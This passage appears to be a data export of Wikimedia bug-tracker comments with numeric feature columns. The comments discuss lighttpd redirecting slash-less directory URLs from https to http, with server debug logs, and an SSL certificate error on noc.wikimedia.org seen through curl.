| 2014-06-02 03:00:13: (response.c.302) URI-scheme   :  http 
| 2014-06-02 03:00:13: (response.c.303) URI-authority:  tools.wmflabs.org 
| 2014-06-02 03:00:13: (response.c.304) URI-path     :  /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.305) URI-query    :   
| 2014-06-02 03:00:13: (response.c.349) -- sanatising URI 
| 2014-06-02 03:00:13: (response.c.350) URI-path     :  /newwebtest/test/ 
| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
| 2014-06-02 03:00:13: (response.c.470) -- before doc_root 
| 2014-06-02 03:00:13: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.472) Rel-Path     : /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.473) Path         :  
| 2014-06-02 03:00:13: (response.c.521) -- after doc_root 
| 2014-06-02 03:00:13: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.523) Rel-Path     : /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.541) -- logical -> physical 
| 2014-06-02 03:00:13: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
| 2014-06-02 03:00:13: (response.c.543) Rel-Path     : /newwebtest/test/ 
| 2014-06-02 03:00:13: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
| 2014-06-02 03:00:13: (response.c.561) -- handling physical path 
| 2014-06-02 03:00:13: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
| 2014-06-02 03:00:13: (response.c.569) -- file found 
| 2014-06-02 03:00:13: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
| 2014-06-02 03:00:13: (response.c.719) -- handling subrequest 
| 2014-06-02 03:00:13: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
| 2014-06-02 03:00:13: (mod_indexfile.c.150) -- handling the request as Indexfile 
| 2014-06-02 03:00:13: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
| 2014-06-02 03:00:13: (mod_access.c.135) -- mod_access_uri_handler called 
| 2014-06-02 03:00:13: (mod_compress.c.683) -- handling file as static file 
| 2014-06-02 03:00:13: (mod_staticfile.c.397) -- handling file as static file 
| 2014-06-02 03:00:13: (response.c.731) -- subrequest finished 

That clearly shows that there is an initial request that causes a redirect (by lighttpd) to be returned to the browser followed by another request with the correct URL."
302590,lighttpd redirects URLs of directories without a trailing slash from https to http,"**metatron** wrote:

Hmm, this need further knowledge on the subject.

1. Lighttpd is configured without ssl engine, and makes rewrite only for tool's root
>> ssl.engine = ""disable""
>> alias.url = ( ""/$tool"" => ""$home/public_html/"" )

2. the requested url /is/ https and should be served as https. This is indsiputabled the job of webproxy, as lighty doesn't know anything about ssl.

3. the debug output below shows 2 requests, https with and without trauling slash for static index.html in /newwebtest/test  folder - they are both identical (as expected on lighty's side)



A. lighttp request handling , debug /without/ slash
## https://tools.wmflabs.org/newwebtest/test

2014-05-31 19:37:21: (response.c.300) -- splitting Request-URI 
2014-05-31 19:37:21: (response.c.301) Request-URI  :  /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.302) URI-scheme   :  http 
2014-05-31 19:37:21: (response.c.303) URI-authority:  tools.wmflabs.org 
2014-05-31 19:37:21: (response.c.304) URI-path     :  /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.305) URI-query    :   
2014-05-31 19:37:21: (response.c.349) -- sanatising URI 
2014-05-31 19:37:21: (response.c.350) URI-path     :  /newwebtest/test/ 
2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
2014-05-31 19:37:21: (response.c.470) -- before doc_root 
2014-05-31 19:37:21: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:37:21: (response.c.472) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.473) Path         :  
2014-05-31 19:37:21: (response.c.521) -- after doc_root 
2014-05-31 19:37:21: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:37:21: (response.c.523) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
2014-05-31 19:37:21: (response.c.541) -- logical -> physical 
2014-05-31 19:37:21: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:37:21: (response.c.543) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:37:21: (response.c.561) -- handling physical path 
2014-05-31 19:37:21: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:37:21: (response.c.569) -- file found 
2014-05-31 19:37:21: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:37:21: (response.c.719) -- handling subrequest 
2014-05-31 19:37:21: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:37:21: (mod_indexfile.c.150) -- handling the request as Indexfile 
2014-05-31 19:37:21: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
2014-05-31 19:37:21: (mod_compress.c.683) -- handling file as static file 
2014-05-31 19:37:21: (mod_staticfile.c.397) -- handling file as static file 
2014-05-31 19:37:21: (response.c.731) -- subrequest finished 


B. lighttp request handling , debug /with/ slash
## https://tools.wmflabs.org/newwebtest/test/

2014-05-31 19:40:57: (response.c.300) -- splitting Request-URI 
2014-05-31 19:40:57: (response.c.301) Request-URI  :  /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.302) URI-scheme   :  http 
2014-05-31 19:40:57: (response.c.303) URI-authority:  tools.wmflabs.org 
2014-05-31 19:40:57: (response.c.304) URI-path     :  /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.305) URI-query    :   
2014-05-31 19:40:57: (response.c.349) -- sanatising URI 
2014-05-31 19:40:57: (response.c.350) URI-path     :  /newwebtest/test/ 
2014-05-31 19:40:57: (mod_access.c.135) -- mod_access_uri_handler called 
2014-05-31 19:40:57: (response.c.470) -- before doc_root 
2014-05-31 19:40:57: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:40:57: (response.c.472) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.473) Path         :  
2014-05-31 19:40:57: (response.c.521) -- after doc_root 
2014-05-31 19:40:57: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:40:57: (response.c.523) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
2014-05-31 19:40:57: (response.c.541) -- logical -> physical 
2014-05-31 19:40:57: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:40:57: (response.c.543) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:40:57: (response.c.561) -- handling physical path 
2014-05-31 19:40:57: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:40:57: (response.c.569) -- file found 
2014-05-31 19:40:57: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:40:57: (response.c.719) -- handling subrequest 
2014-05-31 19:40:57: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:40:57: (mod_indexfile.c.150) -- handling the request as Indexfile 
2014-05-31 19:40:57: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
2014-05-31 19:40:57: (mod_access.c.135) -- mod_access_uri_handler called 
2014-05-31 19:40:57: (mod_compress.c.683) -- handling file as static file 
2014-05-31 19:40:57: (mod_staticfile.c.397) -- handling file as static file 
2014-05-31 19:40:57: (response.c.731) -- subrequest finished",,,1401566060,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.07142857142857142,0.0,0.21428571428571427,0.07142857142857142,1.3571428571428572,0.07142857142857142,0.0,0.0,0.0,0.7142857142857143,0.07142857142857142,0.0,0.07142857142857142,0.0,0.0,0.14285714285714285,0.2857142857142857,1.6428571428571428,0.07142857142857142,0.0,0.07142857142857142,0.0,0.0,0.0,0.0,0.0,0.07142857142857142,0.0,0.0,0.0,0.5,0.35714285714285715,0.0,0.07142857142857142,0.0,0.0,0.0,0.0,0.7142857142857143,0.0,0.07142857142857142,0.0,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,7.785714285714286,0.14285714285714285,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.07142857142857142,0.14285714285714285,0.0,0.07142857142857142,0.0,0.0,0.0,0.0,0.0,0.42857142857142855,0.2857142857142857,4.928571428571429,0.0,0.21428571428571427,0.5714285714285714,0.0,0.0,0.0,0.2857142857142857,0.14285714285714285,0.07142857142857142,20.285714285714285,0.0,0.07142857142857142,1.6428571428571428,10.142857142857142,0.0,0.0,0.0,0.07142857142857142,0.0,0.0,0.0,0.0,1.0714285714285714,0.0,0.35714285714285715,0.5714285714285714,3.8340768702814003,0.37818250155243976,"**metatron** wrote:

Hmm, this need further knowledge on the subject.

1. Lighttpd is configured without ssl engine, and makes rewrite only for tool's root
QUOTE
QUOTE

2. the requested url /is/ https and should be served as https. This is indsiputabled the job of webproxy, as lighty doesn't know anything about ssl.

3. the debug output below shows 2 requests, https with and without trauling slash for static index.html in /newwebtest/test  folder - they are both identical (as expected on lighty's side)



A. lighttp request handling , debug /without/ slash
## URL

2014-05-31 19:37:21: (response.c.300) -- splitting Request-URI 
2014-05-31 19:37:21: (response.c.301) Request-URI  :  /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.302) URI-scheme   :  http 
2014-05-31 19:37:21: (response.c.303) URI-authority:  tools.wmflabs.org 
2014-05-31 19:37:21: (response.c.304) URI-path     :  /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.305) URI-query    :   
2014-05-31 19:37:21: (response.c.349) -- sanatising URI 
2014-05-31 19:37:21: (response.c.350) URI-path     :  /newwebtest/test/ 
2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
2014-05-31 19:37:21: (response.c.470) -- before doc_root 
2014-05-31 19:37:21: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:37:21: (response.c.472) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.473) Path         :  
2014-05-31 19:37:21: (response.c.521) -- after doc_root 
2014-05-31 19:37:21: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:37:21: (response.c.523) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
2014-05-31 19:37:21: (response.c.541) -- logical -> physical 
2014-05-31 19:37:21: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:37:21: (response.c.543) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:37:21: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:37:21: (response.c.561) -- handling physical path 
2014-05-31 19:37:21: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:37:21: (response.c.569) -- file found 
2014-05-31 19:37:21: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:37:21: (response.c.719) -- handling subrequest 
2014-05-31 19:37:21: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:37:21: (mod_indexfile.c.150) -- handling the request as Indexfile 
2014-05-31 19:37:21: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
2014-05-31 19:37:21: (mod_access.c.135) -- mod_access_uri_handler called 
2014-05-31 19:37:21: (mod_compress.c.683) -- handling file as static file 
2014-05-31 19:37:21: (mod_staticfile.c.397) -- handling file as static file 
2014-05-31 19:37:21: (response.c.731) -- subrequest finished 


B. lighttp request handling , debug /with/ slash
## URL

2014-05-31 19:40:57: (response.c.300) -- splitting Request-URI 
2014-05-31 19:40:57: (response.c.301) Request-URI  :  /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.302) URI-scheme   :  http 
2014-05-31 19:40:57: (response.c.303) URI-authority:  tools.wmflabs.org 
2014-05-31 19:40:57: (response.c.304) URI-path     :  /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.305) URI-query    :   
2014-05-31 19:40:57: (response.c.349) -- sanatising URI 
2014-05-31 19:40:57: (response.c.350) URI-path     :  /newwebtest/test/ 
2014-05-31 19:40:57: (mod_access.c.135) -- mod_access_uri_handler called 
2014-05-31 19:40:57: (response.c.470) -- before doc_root 
2014-05-31 19:40:57: (response.c.471) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:40:57: (response.c.472) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.473) Path         :  
2014-05-31 19:40:57: (response.c.521) -- after doc_root 
2014-05-31 19:40:57: (response.c.522) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:40:57: (response.c.523) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.524) Path         : /data/project/newwebtest/public_html/newwebtest/test/ 
2014-05-31 19:40:57: (response.c.541) -- logical -> physical 
2014-05-31 19:40:57: (response.c.542) Doc-Root     : /data/project/newwebtest/public_html 
2014-05-31 19:40:57: (response.c.543) Rel-Path     : /newwebtest/test/ 
2014-05-31 19:40:57: (response.c.544) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:40:57: (response.c.561) -- handling physical path 
2014-05-31 19:40:57: (response.c.562) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:40:57: (response.c.569) -- file found 
2014-05-31 19:40:57: (response.c.570) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:40:57: (response.c.719) -- handling subrequest 
2014-05-31 19:40:57: (response.c.720) Path         : /data/project/newwebtest/public_html//test/ 
2014-05-31 19:40:57: (mod_indexfile.c.150) -- handling the request as Indexfile 
2014-05-31 19:40:57: (mod_indexfile.c.151) URI          : /newwebtest/test/ 
2014-05-31 19:40:57: (mod_access.c.135) -- mod_access_uri_handler called 
2014-05-31 19:40:57: (mod_compress.c.683) -- handling file as static file 
2014-05-31 19:40:57: (mod_staticfile.c.397) -- handling file as static file 
2014-05-31 19:40:57: (response.c.731) -- subrequest finished"
302585,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to metatron from comment #6)
> And it is webproxy who does this, not lighty. So, the caption of this bz may
> be misleading.

No, it doesn't.  The webproxy passes the request to lighttpd who then -- if needed -- generates a redirect which will always be to the http server.  That gets passed unchanged to the client.  Isn't that what I already wrote in comment #0?",,,1401557576,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-57,True,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,12.0,1.0,0.0,12.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,12.0,0.0,1.0,0.0,0.0,3.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5072463768115942,0.782608695652174,"(In reply to metatron from comment #6)
QUOTE
QUOTE

No, it doesn't.  The webproxy passes the request to lighttpd who then -- if needed -- generates a redirect which will always be to the http server.  That gets passed unchanged to the client.  Isn't that what I already wrote in comment #0?"
302582,lighttpd redirects URLs of directories without a trailing slash from https to http,"**metatron** wrote:

And it is webproxy who does this, not lighty. So, the caption of this bz may be misleading.",,,1401537727,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-57,True,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1333333333333333,0.8,"**metatron** wrote:

And it is webproxy who does this, not lighty. So, the caption of this bz may be misleading."
302579,lighttpd redirects URLs of directories without a trailing slash from https to http,"**metatron** wrote:

If trailing / is missing, proxy adds it but switches then from  https to  http 

Example:
(all but the last entry in top menu have trailing / ) I left the last without it, to have some guinea pig.

1. https://tools.wmflabs.org/xtools/ec/
2. Select menu SC",,,1401537458,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-57,True,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,9.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,11.0,6.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0454545454545454,0.696969696969697,"**metatron** wrote:

If trailing / is missing, proxy adds it but switches then from  https to  http 

Example:
(all but the last entry in top menu have trailing / ) I left the last without it, to have some guinea pig.

1. URL
2. Select menu SC"
302576,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to Tim Landscheidt from comment #3)
> (In reply to Liangent from comment #2)
> > > dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=53689 ?
> 
> > seems this bug was accidentially fixed.
> 
> Just to be clear: Now you don't consider /this/ bug #64627 a duplicate of
> bug #53689, and this bug #64627 is ""still"" not fixed?

right",,,1398838638,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,11.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.5555555555555556,"(In reply to Tim Landscheidt from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

right"
302573,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to Liangent from comment #2)
> > dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=53689 ?

> seems this bug was accidentially fixed.

Just to be clear: Now you don't consider /this/ bug #64627 a duplicate of bug #53689, and this bug #64627 is ""still"" not fixed?",,,1398838504,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,12.0,0.0,2.0,4.0,0.0,0.0,0.0,8.0,6.0,0.0,8.0,0.0,2.0,12.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.1458333333333335,0.7916666666666666,"(In reply to Liangent from comment #2)
QUOTE

QUOTE

Just to be clear: Now you don't consider /this/ bug #64627 a duplicate of bug #53689, and this bug #64627 is ""still"" not fixed?"
302570,lighttpd redirects URLs of directories without a trailing slash from https to http,"(In reply to Liangent from comment #1)
> dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=53689 ?

seems this bug was accidentially fixed.",,,1398826802,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,"(In reply to Liangent from comment #1)
QUOTE

seems this bug was accidentially fixed."
302566,lighttpd redirects URLs of directories without a trailing slash from https to http,dupe of https://bugzilla.wikimedia.org/show_bug.cgi?id=53689 ?,,,1398826605,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-prswuex6vgjct27fucjm,task_subcomment,,True,c3,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,dupe of URL ?
66484,Fix SSL certificate of noc.wikimedia.org,"[16:00 UTC] cvn-apache5.eqiad.wmflabs$ bin/update
+ curl https://noc.wikimedia.org/conf/all.dblist
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: http://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a ""bundle""
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1398528240,1413464883.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-ttkc274kd5c2qel3o62i,task_description,resolved,True,c3,1,True,False,True,-62,True,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,3.6666666666666665,0.6666666666666666,0.0,0.0,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,5.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.3333333333333333,0.0,0.0,0.0,13.333333333333334,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,13.0,1.3333333333333333,1.0,6.333333333333333,0.0,0.0,0.0,0.0,3.0,0.0,3.3333333333333335,0.0,1.0,5.666666666666667,9.333333333333334,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,4.031246938975414,0.6410520129297678,"[16:00 UTC] cvn-apache5.eqiad.wmflabs$ bin/update
+ curl URL
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: URL

curl performs SSL certificate verification by default, using a ""bundle""
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
308090,Fix SSL certificate of noc.wikimedia.org,"(In reply to Marc A. Pelletier from comment #3)
> This should have been fixed as a side effect of
> https://gerrit.wikimedia.org/r/#/c/163222/
> 
> Please verify?

No reply by Krinkle, hence assuming it's fixed.",,,1413464883,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ttkc274kd5c2qel3o62i,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,12.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.28125,0.78125,"(In reply to Marc A. Pelletier from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

No reply by Krinkle, hence assuming it's fixed."
308083,Fix SSL certificate of noc.wikimedia.org,"This should have been fixed as a side effect of https://gerrit.wikimedia.org/r/#/c/163222/

Please verify?",,,1412609285,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-ttkc274kd5c2qel3o62i,task_subcomment,,True,c3,1,True,,,-39,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,20.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,"This should have been fixed as a side effect of URL

Please verify?"
